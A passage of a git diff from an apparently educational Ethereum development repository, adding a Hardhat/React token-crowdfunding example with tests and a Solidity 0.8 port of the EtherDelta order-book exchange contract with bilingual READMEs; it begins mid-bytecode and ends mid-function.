5460018160011615610100020316600290048015610bac5780601f10610b8157610100808354040283529160200191610bac565b820191906000526020600020905b815481529060010190602001808311610b8f57829003601f168201915b5050505050955060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c495780601f10610c1e57610100808354040283529160200191610c49565b820191906000526020600020905b815481529060010190602001808311610c2c57829003601f168201915b505050505094506004549350600760009054906101000a900460ff1692506003549150600154905090919293949596565b60006002806002811115610c8a57fe5b600760009054906101000a900460ff166002811115610ca557fe5b141515610cb157600080fd5b6000600354905060006003819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015610da9577f2f256415efc8561af8db667cb242964b19be7380f379ccdafaa0e54a6f6b70696000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a16001925050610dda565b806003819055506002600760006101000a81548160ff02191690836002811115610dcf57fe5b021790555060009250505b5090565b6000828211151515610dec57fe5b818303905092915050565b60008183019050828110151515610e0a57fe5b8090509291505056fea165627a7a723058204e932d62670f3cd64e1dc5b96e18f977a755c50bed9e8af4410e2176a3b75fc80029",
+  "linkReferences": {},
+  "deployedLinkReferences": {}
+}
diff --git a/basic/12-token-crowdfund/frontend/src/index.css b/basic/12-token-crowdfund/frontend/src/index.css
new file mode 100644
index 000000000..ec2585e8c
--- /dev/null
+++ b/basic/12-token-crowdfund/frontend/src/index.css
@@ -0,0 +1,13 @@
+body {
+  margin: 0;
+  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',
+    'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
+    sans-serif;
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+}
+
+code {
+  font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New',
+    monospace;
+}
diff --git a/basic/12-token-crowdfund/frontend/src/main.jsx b/basic/12-token-crowdfund/frontend/src/main.jsx
new file mode 100644
index 000000000..606a3cf44
--- /dev/null
+++ b/basic/12-token-crowdfund/frontend/src/main.jsx
@@ -0,0 +1,11 @@
+import React from 'react'
+import ReactDOM from 'react-dom'
+import './index.css'
+import App from './App'
+
+ReactDOM.render(
+  <React.StrictMode>
+    <App />
+  </React.StrictMode>,
+  document.getElementById('root')
+)
diff --git a/basic/12-token-crowdfund/frontend/vite.config.js b/basic/12-token-crowdfund/frontend/vite.config.js
new file mode 100644
index 000000000..4838e3fb3
--- /dev/null
+++ b/basic/12-token-crowdfund/frontend/vite.config.js
@@ -0,0 +1,20 @@
+import { defineConfig } from 'vite'
+import react from '@vitejs/plugin-react'
+
+
+// https://vitejs.dev/config/
+export default defineConfig({
+  plugins: [react()],
+  server: {
+    //设置 server.hmr.overlay 为 false 可以禁用开发服务器错误的屏蔽
+    hmr: { overlay: false },
+    //开发时启动的端口
+    port: 5001,
+    //在服务器启动时自动在浏览器中打开应用程序
+    open: false,
+    //true, 启用并允许任何源
+    cors: true,
+    https: false, //启用https
+    //代理跨域配置
+  },
+})
diff --git a/basic/12-token-crowdfund/hardhat.config.js b/basic/12-token-crowdfund/hardhat.config.js
new file mode 100644
index 000000000..58a920185
--- /dev/null
+++ b/basic/12-token-crowdfund/hardhat.config.js
@@ -0,0 +1,55 @@
+require("@nomicfoundation/hardhat-toolbox");
+require('dotenv').config();
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task('accounts', 'Prints the list of accounts', async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+  return process.env.PRIVATE_KEY;
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: '0.5.4',
+      },
+      {
+        version: '0.4.18',
+        settings: {},
+      },
+      {
+        version: '0.8.0',
+        settings: {},
+      },
+    ],
+  },
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    sepolia: {
+      url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+  },
+};
\ No newline at end of file
diff --git a/Example12-token-crowdfund/interesting_contracts/Crowdsale.sol b/basic/12-token-crowdfund/interesting_contracts/Crowdsale.sol
similarity index 100%
rename from Example12-token-crowdfund/interesting_contracts/Crowdsale.sol
rename to basic/12-token-crowdfund/interesting_contracts/Crowdsale.sol
diff --git a/Example12-token-crowdfund/interesting_contracts/PupperCoinCrowdsale.sol b/basic/12-token-crowdfund/interesting_contracts/PupperCoinCrowdsale.sol
similarity index 100%
rename from Example12-token-crowdfund/interesting_contracts/PupperCoinCrowdsale.sol
rename to basic/12-token-crowdfund/interesting_contracts/PupperCoinCrowdsale.sol
diff --git a/Example12-token-crowdfund/interesting_contracts/pupper.sol b/basic/12-token-crowdfund/interesting_contracts/pupper.sol
similarity index 100%
rename from Example12-token-crowdfund/interesting_contracts/pupper.sol
rename to basic/12-token-crowdfund/interesting_contracts/pupper.sol
diff --git a/basic/12-token-crowdfund/package.json b/basic/12-token-crowdfund/package.json
new file mode 100644
index 000000000..4a1e914d7
--- /dev/null
+++ b/basic/12-token-crowdfund/package.json
@@ -0,0 +1,20 @@
+{
+  "name": "12-token-crowdfund",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@openzeppelin/contracts": "^4.1.0",
+    "dotenv": "^16.4.5",
+    "hardhat": "^2.22.2"
+  },
+  "devDependencies": {
+    "@nomicfoundation/hardhat-toolbox": "^5.0.0"
+  }
+}
diff --git a/basic/12-token-crowdfund/scripts/deploy_crowdfunding.js b/basic/12-token-crowdfund/scripts/deploy_crowdfunding.js
new file mode 100644
index 000000000..c27ecf26c
--- /dev/null
+++ b/basic/12-token-crowdfund/scripts/deploy_crowdfunding.js
@@ -0,0 +1,49 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const hre = require("hardhat");
+
+async function main() {
+
+    const [deployer] = await ethers.getSigners();
+
+    console.log(
+        "Deploying contracts with the account:",
+        deployer.address
+    );
+
+    console.log("Account balance:", (await ethers.provider.getBalance(deployer.address)).toString());
+
+    //deploy Crowdfunding
+    const crowdFundingContractFactory = await ethers.getContractFactory("CrowdFunding");
+    const crowdFundingContract = await crowdFundingContractFactory.deploy();
+    await crowdFundingContract.waitForDeployment();
+
+    console.log("CrowdFundingContract address:", crowdFundingContract.target);
+
+    //start Project
+    await crowdFundingContract.startProject("Buy toys","Buy toys",1,100)
+    let allProjects = await crowdFundingContract.returnAllProjects()
+
+    const artifact = artifacts.readArtifactSync('Project')
+    let project
+    let details
+    for(let i=0; i<allProjects.length; i++) {
+        project = new ethers.Contract(allProjects[i], artifact.abi, deployer)
+        details = await project.getDetails()
+        console.log(details)
+    }
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
+
diff --git a/Example12-token-crowdfund/test/crowdFunding-test.js b/basic/12-token-crowdfund/test/crowdFunding-test.js
similarity index 95%
rename from Example12-token-crowdfund/test/crowdFunding-test.js
rename to basic/12-token-crowdfund/test/crowdFunding-test.js
index ef7c4f018..acecec209 100644
--- a/Example12-token-crowdfund/test/crowdFunding-test.js
+++ b/basic/12-token-crowdfund/test/crowdFunding-test.js
@@ -9,7 +9,6 @@ describe("CrowdFunding contract", function() {
         const crowdFundingContractFactory = await ethers.getContractFactory("CrowdFunding");
 
         crowdFundingContract = await crowdFundingContractFactory.deploy();
-        await crowdFundingContract.deployed();
 
         expect(crowdFundingContract.address).to.not.equal(null);
       });
diff --git a/basic/12-token-crowdfund/test/memberVote-test.js b/basic/12-token-crowdfund/test/memberVote-test.js
new file mode 100644
index 000000000..2614f0d6a
--- /dev/null
+++ b/basic/12-token-crowdfund/test/memberVote-test.js
@@ -0,0 +1,76 @@
+const { expect } = require("chai");
+
+describe("MemberVote contract", function () {
+    let voteContractFactory;
+    let ownerContract;
+    let memberContract;
+    let cartContract;
+    let dogContract
+    let artifact;
+    let Alice;
+    let Bob;
+    let Cart;
+    let Dog;
+
+    it("Deploy MemberVote Contract",async function () {
+        [Alice, Bob, Cart, Dog] = await ethers.getSigners()
+        voteContractFactory = await ethers.getContractFactory('MembersVote')
+
+        ownerContract = await voteContractFactory.deploy(100, 100, 2)
+
+        artifact = artifacts.readArtifactSync('MembersVote')
+        memberContract = new ethers.Contract(ownerContract.target, artifact.abi, Bob)
+        cartContract = new ethers.Contract(ownerContract.target, artifact.abi, Cart) 
+        dogContract = new ethers.Contract(ownerContract.target, artifact.abi, Dog)
+
+        expect(ownerContract.target).to.not.equal(null)
+    })
+
+    it('Contribute to the club', async function () {
+        let overrides = {
+            // To convert Ether to Wei:
+            value: 101,
+        }
+        await memberContract.contribute(overrides)
+
+        expect((await memberContract.shares(Bob.address)).toString()).to.equal('101')
+    })
+
+    it("You can't redeem more than your share", async function () {
+        await expect(memberContract.redeemShare(200)).to.be.revertedWith("not enough shares")
+    })
+
+    it("You can redeem less than your share", async function () {
+        await memberContract.redeemShare(1)
+        expect((await memberContract.shares(Bob.address)).toString()).to.equal('100')
+    })
+
+    it("You can't transfer shares more than your share", async function () {
+        await expect(memberContract.transferShare(200,Cart.address)).to.be.revertedWith("not enough shares")
+    })
+
+    it("You can transfer shares less than your share", async function () {
+        await memberContract.transferShare(10,Cart.address)
+        
+        expect((await memberContract.shares(Bob.address)).toString()).to.equal('90')
+    })
+
+    it("Create a proposal with too much amount will fail", async function () {
+        await expect(memberContract.createProposal("Buy toys",200,Cart.address)).to.be.revertedWith("amount too big")
+    })
+
+    it("Can create a proposal with too amount less than availableFunds", async function () {
+        await memberContract.createProposal("Buy toys", 20, Cart.address) 
+    })
+
+    it("Can vote to a proposal", async function () {
+        await cartContract.contribute({ value: 100 })
+        await dogContract.contribute({ value: 100 })
+        
+        await cartContract.vote(0)
+        await dogContract.vote(0)
+    })
+
+
+});
+
diff --git a/basic/12-token-crowdfund/test/project-test.js b/basic/12-token-crowdfund/test/project-test.js
new file mode 100644
index 000000000..7001a09d5
--- /dev/null
+++ b/basic/12-token-crowdfund/test/project-test.js
@@ -0,0 +1,52 @@
+const { expect } = require('chai')
+const { ethers } = require('hardhat')
+
+describe('Project contract', function () {
+  let projectContractFactory
+  let projectContract
+  let creator
+  let donator1
+  let donator2
+
+  beforeEach(async function () {
+    ;[creator, donator1, donator2] = await ethers.getSigners()
+    projectContractFactory = await ethers.getContractFactory('Project')
+    const expiretime = parseInt(new Date().getTime() / 1000) + 7 * 24 * 60 * 60  //  项目时间设为7天
+
+    projectContract = await projectContractFactory.deploy(
+      creator.address,
+      'Buy some toys',
+      'Buy some toys',
+      expiretime,
+      100
+    )
+
+    expect(projectContract.address).to.not.be.null
+  })
+
+  it('Get details of a new project', async function () {
+    let projectDetail = await projectContract.getDetails()
+    expect(projectDetail.goalAmount).to.equal(100)
+  })
+
+  it('Get the complete time', async function () {
+    await projectContract.checkIfFundingCompleteOrExpired()
+    expect(parseInt(await projectContract.completeAt())).to.not.equal(null)
+  })
+
+  it('Donate with calling contribute ', async function () {
+    const donation = { value: 10 }
+
+    await projectContract.connect(donator1).contribute(donation)
+
+    expect(parseInt(await projectContract.currentBalance())).to.equal(10)
+  })
+
+  it('Donate 101', async function () {
+    const donation = { value: 101 }
+
+    await projectContract.connect(donator1).contribute(donation)
+
+    expect(parseInt(await projectContract.state())).to.equal(2)
+  })
+})
diff --git a/Example10-hardhat-ipfs-erc721/.gitignore b/basic/13-decentralized-exchange/.gitignore
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/.gitignore
rename to basic/13-decentralized-exchange/.gitignore
diff --git a/basic/13-decentralized-exchange/EtherDelta/README-CN.md b/basic/13-decentralized-exchange/EtherDelta/README-CN.md
new file mode 100644
index 000000000..5d6d82061
--- /dev/null
+++ b/basic/13-decentralized-exchange/EtherDelta/README-CN.md
@@ -0,0 +1,104 @@
+中文 / [English](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/basic/13-decentralized-exchange/EtherDelta/README.md)
+# EtherDelta
+
+使用合约实现了传统中心化交易所，订单簿模式交易所
+
+由于原来的代码版本比较老 `solidity 0.4.9`，`hardhat` 不支持，所以将合约及测试文件升级到了 `solidity 0.8.0` (老版本升级真的太多坑了……)。
+
+原来的代码在 `./backup`
+
+## 代码使用方法
+
+### 安装
+
+```sh
+yarn install
+```
+
+### 编译合约
+
+```sh
+yarn build
+```
+
+或
+
+```sh
+npx hardhat compile
+```
+
+### 运行测试
+
+```sh
+yarn test
+```
+
+或
+
+```sh
+npx hardhat test
+```
+
+## 合约功能简述
+
+### ReserveToken
+
+EtherDelta 实现了简单的 token 合约，类似 ERC20 标准合约，用于交易所内的 token 交易（非 eth）
+
+### AccountLevelsTest
+
+内部维护一张用户 vip 等级列表，管理员可以设置用户的 vip 等级。
+
+### EtherDelta
+
+交易所核心合约
+
+用户交易用的资产必须先存入 (`deposit()`) 交易所合约，交易完成后，可以提现 (`withdraw()`) 到自己的钱包，基本和中心化交易所流程相同。
+
+#### 交易流程
+
+1. 卖家（maker）挂单 `order()`，以挂单信息转换为 hash，作为键，存入 `orders` 合约变量
+2. 买家(taker)吃单 `trade()`，传入指定的挂单 hash, 并且需要拿到maker的订单签名信息。且支持部分成交。
+
+#### constructor
+
+```solidity
+constructor(
+    address admin_,     //  创建者
+    address feeAccount_,  // 手续费受益人
+    address accountLevelsAddr_, // AccountLevelsTest 合约地址
+    uint256 feeMake_,   //  买入手续费率
+    uint256 feeTake_,   //  卖出手续费率
+    uint256 feeRebate_  //  vip佣金回扣费率
+)
+```
+
+#### 合约 public 变量
+
+```solidity
+...
+mapping(address => mapping(address => uint256)) public tokens; // token 用户持有每种token数量的列表 (0地址 代表 Ether)
+mapping(address => mapping(bytes32 => bool)) public orders; // 挂单列表 (true = 用户提交的挂单, 需要验证离线签名)
+mapping(address => mapping(bytes32 => uint256)) public orderFills; // 每一笔挂单完成的数量 (amount of order that has been filled)
+```
+
+#### 手续费逻辑
+
+ 手续费都是收取maker的 tokenGet（即要买入的token）
+```
+         //0 = regular user (pays take fee and make fee)
+         //1 = market maker silver (pays take fee, no make fee, gets rebate)
+         //2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate)
+```
+普通用户，需要付take fee和maker fee
+白银用户，付taker费用，并且有手续费返现
+黄金用户，付taker费用，但是可以获取对手方taker费用返现
+
+### 测试流程补全
+
+目前只实现了核心功能的测试，还有部分测试流程未升级，老测试文件参见 `../backup/etherdelta/test.old.js`
+**老版测试文件部分测试有误，建议以当前测试文件为准**
+
+## 参考链接
+
+EtherDelta github 仓库: https://github.com/etherdelta/smart_contract
diff --git a/basic/13-decentralized-exchange/EtherDelta/README.md b/basic/13-decentralized-exchange/EtherDelta/README.md
new file mode 100644
index 000000000..2614316d2
--- /dev/null
+++ b/basic/13-decentralized-exchange/EtherDelta/README.md
@@ -0,0 +1,94 @@
+English / [中文](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/basic/13-decentralized-exchange/EtherDelta/README-CN.md)
+# EtherDelta
+
+It use contract to realize traditional centralized exchange and order book model exchange
+
+Due to the older `solidity 0.4.9` version of the original code, `Hardhat` did not support it, so updated the contract and test files to `solidity 0.8.0`.  (The old version has too many bugs...)。
+
+The original code is in `./backup `
+
+## Code usage
+
+### Install
+
+```sh
+yarn install
+```
+
+### Compile Contract
+
+```sh
+yarn build
+```
+
+或
+
+```sh
+npx hardhat compile
+```
+
+### Test Contract
+
+```sh
+yarn test
+```
+
+或
+
+```sh
+npx hardhat test
+```
+
+## Brief Description of Contract Functions
+
+### ReserveToken
+
+EtherDelta implements a simple token contract, similar to the ERC20 standard contract, for intra-exchange token trading (not ETH)
+
+### AccountLevelsTest
+
+An internal VIP level list is maintained. The administrator can set the VIP level of a user.
+
+### EtherDelta
+
+Exchange core contract
+
+Users must first deposit their assets in the (`deposit()`) exchange contract, and can withdraw( `withdraw()` in their wallet after the transaction, which is basically the same as the process of a centralized exchange.
+
+#### Transaction process
+
+1. The seller invokes `order()` with the invoicing information converted to a hash as a key into the' Orders' contract variable
+2. The buyer eats the order `trade()`, passing in the specified order hash
+
+#### constructor
+
+```solidity
+constructor(
+    address admin_,     //  Creator
+    address feeAccount_,  // Commission beneficiary
+    address accountLevelsAddr_, // AccountLevelsTest Contract Address
+    uint256 feeMake_,   //  Purchase rate
+    uint256 feeTake_,   //  Selling rate
+    uint256 feeRebate_  //  VIP commission rebate rate
+)
+```
+
+#### Contract `public` variable
+
+```solidity
+...
+mapping(address => mapping(address => uint256)) public tokens; // Token List of the number of each token held by the user (address 0 represents Ether)
+mapping(address => mapping(bytes32 => bool)) public orders; // List of invoices (true = invoices submitted by the user, requiring verification of offline signature)
+mapping(address => mapping(bytes32 => uint256)) public orderFills; // amount of order that has been filled
+```
+
+## todo list
+
+### Test Process Description
+
+At present, only the core functions have been tested, and part of the test process has not been upgraded. See `../backup/etherdelta/test.old.js` for the old test file
+**Some tests in the original test file are incorrect. You are advised to use the current test file**
+
+## Refer to the link
+
+EtherDelta github 仓库: https://github.com/etherdelta/smart_contract
diff --git a/basic/13-decentralized-exchange/EtherDelta/contracts/EtherDelta.sol b/basic/13-decentralized-exchange/EtherDelta/contracts/EtherDelta.sol
new file mode 100644
index 000000000..012faef21
--- /dev/null
+++ b/basic/13-decentralized-exchange/EtherDelta/contracts/EtherDelta.sol
@@ -0,0 +1,581 @@
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/utils/math/SafeMath.sol";
+
+contract Token {
+    function balanceOf(address _owner)
+        public
+        view
+        virtual
+        returns (uint256 balance)
+    {}
+
+    function transfer(address _to, uint256 _value)
+        public
+        virtual
+        returns (bool success)
+    {}
+
+    function transferFrom(
+        address _from,
+        address _to,
+        uint256 _value
+    ) public virtual returns (bool success) {}
+
+    function approve(address _spender, uint256 _value)
+        public
+        virtual
+        returns (bool success)
+    {}
+
+    function allowance(address _owner, address _spender)
+        public
+        view
+        virtual
+        returns (uint256 remaining)
+    {}
+
+    event Transfer(address indexed _from, address indexed _to, uint256 _value);
+    event Approval(
+        address indexed _owner,
+        address indexed _spender,
+        uint256 _value
+    );
+
+    uint256 public decimals;
+    string public name;
+}
+
+contract StandardToken is Token {
+    function transfer(address _to, uint256 _value)
+        public
+        override
+        returns (bool success)
+    {
+        //Default assumes totalSupply can't be over max (2^256 - 1).
+        //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
+        //Replace the if with this one instead.
+        if (
+            balances[msg.sender] >= _value &&
+            balances[_to] + _value > balances[_to]
+        ) {
+            //if (balances[msg.sender] >= _value && _value > 0) {
+            balances[msg.sender] -= _value;
+            balances[_to] += _value;
+            emit Transfer(msg.sender, _to, _value);
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    function transferFrom(
+        address _from,
+        address _to,
+        uint256 _value
+    ) public override returns (bool success) {
+        //same as above. Replace this line with the following if you want to protect against wrapping uints.
+        if (
+            balances[_from] >= _value &&
+            allowed[_from][msg.sender] >= _value &&
+            balances[_to] + _value > balances[_to]
+        ) {
+            //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
+            balances[_to] += _value;
+            balances[_from] -= _value;
+            allowed[_from][msg.sender] -= _value;
+            emit Transfer(_from, _to, _value);
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    function balanceOf(address _owner)
+        public
+        view
+        override
+        returns (uint256 balance)
+    {
+        return balances[_owner];
+    }
+
+    function approve(address _spender, uint256 _value)
+        public
+        override
+        returns (bool success)
+    {
+        allowed[msg.sender][_spender] = _value;
+        emit Approval(msg.sender, _spender, _value);
+        return true;
+    }
+
+    function allowance(address _owner, address _spender)
+        public
+        view
+        override
+        returns (uint256 remaining)
+    {
+        return allowed[_owner][_spender];
+    }
+
+    mapping(address => uint256) balances;
+
+    mapping(address => mapping(address => uint256)) allowed;
+
+    uint256 public totalSupply;
+}
+
+contract ReserveToken is StandardToken {
+    address public minter;
+
+    constructor() {
+        minter = msg.sender;
+    }
+
+    function create(address account, uint256 amount) public {
+        require(msg.sender == minter, "No permission");
+        balances[account] = SafeMath.add(balances[account], amount);
+        totalSupply = SafeMath.add(totalSupply, amount);
+    }
+
+    function destroy(address account, uint256 amount) public {
+        require(msg.sender == minter, "No permission");
+        require(balances[account] >= amount, "amount is not enough");
+        balances[account] = SafeMath.sub(balances[account], amount);
+        totalSupply = SafeMath.sub(totalSupply, amount);
+    }
+}
+
+contract AccountLevels {
+    //given a user, returns an account level
+    //0 = regular user (pays take fee and make fee)
+    //1 = market maker silver (pays take fee, no make fee, gets rebate)
+    //2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate)
+    function accountLevel(address user) public view virtual returns (uint256) {}
+}
+
+contract AccountLevelsTest is AccountLevels {
+    mapping(address => uint256) public accountLevels;
+
+    function setAccountLevel(address user, uint256 level) public {
+        accountLevels[user] = level;
+    }
+
+    function accountLevel(address user) public view override returns (uint256) {
+        return accountLevels[user];
+    }
+}
+
+contract EtherDelta {
+    using SafeMath for *;
+
+    address public admin; //the admin address
+    address public feeAccount; //the account that will receive fees
+    address public accountLevelsAddr; //the address of the AccountLevels contract
+    uint256 public feeMake; //percentage times (1 ether)
+    uint256 public feeTake; //percentage times (1 ether)
+    uint256 public feeRebate; //percentage times (1 ether)
+
+    // mapping of token addresses to mapping of account balances (token=0 means Ether)
+    mapping(address => mapping(address => uint256)) public tokens; 
+
+    // mapping of user accounts to mapping of order hashes to booleans 
+    // (true = submitted by user, equivalent to offchain signature)
+    mapping(address => mapping(bytes32 => bool)) public orders; 
+
+    // mapping of user accounts to mapping of order hashes to uints 
+    // (amount of order that has been filled)
+    mapping(address => mapping(bytes32 => uint256)) public orderFills; 
+
+    // 订单信息入参struct
+    struct OrderSigned {
+        address tokenGet;
+        uint256 amountGet;
+        address tokenGive;
+        uint256 amountGive;
+        uint256 expires;
+        uint256 nonce;
+        address user;
+        uint8 v;
+        bytes32 r;
+        bytes32 s;
+    }
+
+    event Order(
+        address tokenGet,
+        uint256 amountGet,
+        address tokenGive,
+        uint256 amountGive,
+        uint256 expires,
+        uint256 nonce,
+        address user
+    );
+    event Cancel(
+        address tokenGet,
+        uint256 amountGet,
+        address tokenGive,
+        uint256 amountGive,
+        uint256 expires,
+        uint256 nonce,
+        address user,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    );
+    event Trade(
+        address tokenGet,
+        uint256 amountGet,
+        address tokenGive,
+        uint256 amountGive,
+        address get,
+        address give
+    );
+    event Deposit(address token, address user, uint256 amount, uint256 balance);
+
+    event Withdraw(address token, address user, uint256 amount, uint256 balance);
+
+    modifier adminOnly {
+        require(msg.sender == admin, "No permission");
+        _;
+    }
+
+    constructor(
+        address admin_,
+        address feeAccount_,
+        address accountLevelsAddr_,
+        uint256 feeMake_,
+        uint256 feeTake_,
+        uint256 feeRebate_
+    ) {
+        admin = admin_;
+        feeAccount = feeAccount_;
+        accountLevelsAddr = accountLevelsAddr_;
+        feeMake = feeMake_;
+        feeTake = feeTake_;
+        feeRebate = feeRebate_;
+    }
+
+    function changeAdmin(address admin_) public adminOnly {
+        admin = admin_;
+    }
+
+    function changeAccountLevelsAddr(address accountLevelsAddr_)
+        public
+        adminOnly
+    {
+        accountLevelsAddr = accountLevelsAddr_;
+    }
+
+    function changeFeeAccount(address feeAccount_) public adminOnly {
+        feeAccount = feeAccount_;
+    }
+
+    function changeFeeMake(uint256 feeMake_) public adminOnly {
+        require(feeMake_ <= feeMake);
+        feeMake = feeMake_;
+    }
+
+    function changeFeeTake(uint256 feeTake_) public adminOnly {
+        require(feeTake_ <= feeTake && feeTake_ >= feeRebate);
+        feeTake = feeTake_;
+    }
+
+    function changeFeeRebate(uint256 feeRebate_) public adminOnly {
+        require(feeRebate_ >= feeRebate && feeRebate_ <= feeTake);
+        feeRebate = feeRebate_;
+    }
+
+    function deposit() public payable {
+        tokens[address(0)][msg.sender] = SafeMath.add(
+            tokens[address(0)][msg.sender],
+            msg.value
+        );
+        emit Deposit(
+            address(0),
+            msg.sender,
+            msg.value,
+            tokens[address(0)][msg.sender]
+        );
+    }
+
+    function withdraw(uint256 amount) public {
+        require(tokens[address(0)][msg.sender] >= amount);
+        tokens[address(0)][msg.sender] = SafeMath.sub(
+            tokens[address(0)][msg.sender],
+            amount
+        );
+        (bool success, ) = msg.sender.call{value: amount}("");
+        require(success, "withdraw failed.");
+        emit Withdraw(
+            address(0),
+            msg.sender,
+            amount,
+            tokens[address(0)][msg.sender]
+        );
+    }
+
+    function depositToken(address token, uint256 amount) public {
+        //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
+        require(token != address(0));
+        require(
+            Token(token).transferFrom(msg.sender, address(this), amount),
+            "Token.transferFrom failed"
+        );
+        tokens[token][msg.sender] = SafeMath.add(
+            tokens[token][msg.sender],
+            amount
+        );
+        emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
+    }
+
+    function withdrawToken(address token, uint256 amount) public {
+        require(token != address(0));
+        require(tokens[token][msg.sender] >= amount);
+        tokens[token][msg.sender] = SafeMath.sub(
+            tokens[token][msg.sender],
+            amount
+        );
+        require(Token(token).transfer(msg.sender, amount));
+        emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
+    }
+
+    function balanceOf(address token, address user)
+        public
+        view
+        returns (uint256)
+    {
+        return tokens[token][user];
+    }
+
+    function order(
+        address tokenGet,
+        uint256 amountGet,
+        address tokenGive,
+        uint256 amountGive,
+        uint256 expires,
+        uint256 nonce
+    ) public {
+        bytes32 hash = keccak256(
+            abi.encodePacked(
+                address(this),
+                tokenGet,
+                amountGet,
+                tokenGive,
+                amountGive,
+                expires,
+                nonce
+            )
+        );
+        orders[msg.sender][hash] = true;
+        emit Order(
+            tokenGet,
+            amountGet,
+            tokenGive,
+            amountGive,
+            expires,
+            nonce,
+            msg.sender
+        );
+    }
+
+    // solidity 函数的变量不能超过16个，需要使用struct传参
+
+    function trade(OrderSigned memory orderSigned, uint256 amount) public {
+        //amount is in amountGet terms
+        bytes32 hash = keccak256(
+            abi.encodePacked(
+                address(this),
+                orderSigned.tokenGet,
+                orderSigned.amountGet,
+                orderSigned.tokenGive,
+                orderSigned.amountGive,
+                orderSigned.expires,
+                orderSigned.nonce
+            )
+        );
+
+        
+        require(
+            ((orders[orderSigned.user][hash] ||
+                ecrecover(
+                    keccak256(
+                        abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
+                    ),
+                    orderSigned.v,
+                    orderSigned.r,
+                    orderSigned.s
+                ) ==
+                orderSigned.user) &&
+                block.number <= orderSigned.expires &&
+                SafeMath.add(orderFills[orderSigned.user][hash], amount) <=
+                orderSigned.amountGet),
+            "permit not pass"
+        );
+        tradeBalances(
+            orderSigned.tokenGet,
+            orderSigned.amountGet,
+            orderSigned.tokenGive,
+            orderSigned.amountGive,
+            orderSigned.user,
+            amount
+        );
+        orderFills[orderSigned.user][hash] = SafeMath.add(
+            orderFills[orderSigned.user][hash],
+            amount
+        );
+        emit Trade(
+            orderSigned.tokenGet,
+            amount,
+            orderSigned.tokenGive,
+            (orderSigned.amountGive * amount) / orderSigned.amountGet,
+            orderSigned.user,
+            msg.sender
+        );
+    }
+
+    function tradeBalances(
+        address tokenGet,
+        uint256 amountGet,
+        address tokenGive,
+        uint256 amountGive,
+        address user,
+        uint256 amount
+    ) private {
+        uint256 feeMakeXfer = SafeMath.mul(amount, feeMake) / (1 ether);
+        uint256 feeTakeXfer = SafeMath.mul(amount, feeTake) / (1 ether);
+        uint256 feeRebateXfer = 0;
+
+         //0 = regular user (pays take fee and make fee)
+         //1 = market maker silver (pays take fee, no make fee, gets rebate)
+         //2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate)
+        if (accountLevelsAddr != address(0)) {
+            uint256 accountLevel = AccountLevels(accountLevelsAddr)
+            .accountLevel(user);
+            if (accountLevel == 1)
+                feeRebateXfer = SafeMath.mul(amount, feeRebate) / (1 ether);
+            if (accountLevel == 2) feeRebateXfer = feeTakeXfer;
+        }
+        // 对taker收费
+        tokens[tokenGet][msg.sender] = SafeMath.sub(
+            tokens[tokenGet][msg.sender],
+            SafeMath.add(amount, feeTakeXfer)
+        );
+        //对maker收费
+        tokens[tokenGet][user] = SafeMath.add(
+            tokens[tokenGet][user],
+            SafeMath.sub(SafeMath.add(amount, feeRebateXfer), feeMakeXfer)
+        );
+        //feeAccount 账户收费
+        tokens[tokenGet][feeAccount] = SafeMath.add(
+            tokens[tokenGet][feeAccount],
+            SafeMath.sub(SafeMath.add(feeMakeXfer, feeTakeXfer), feeRebateXfer)
+        );
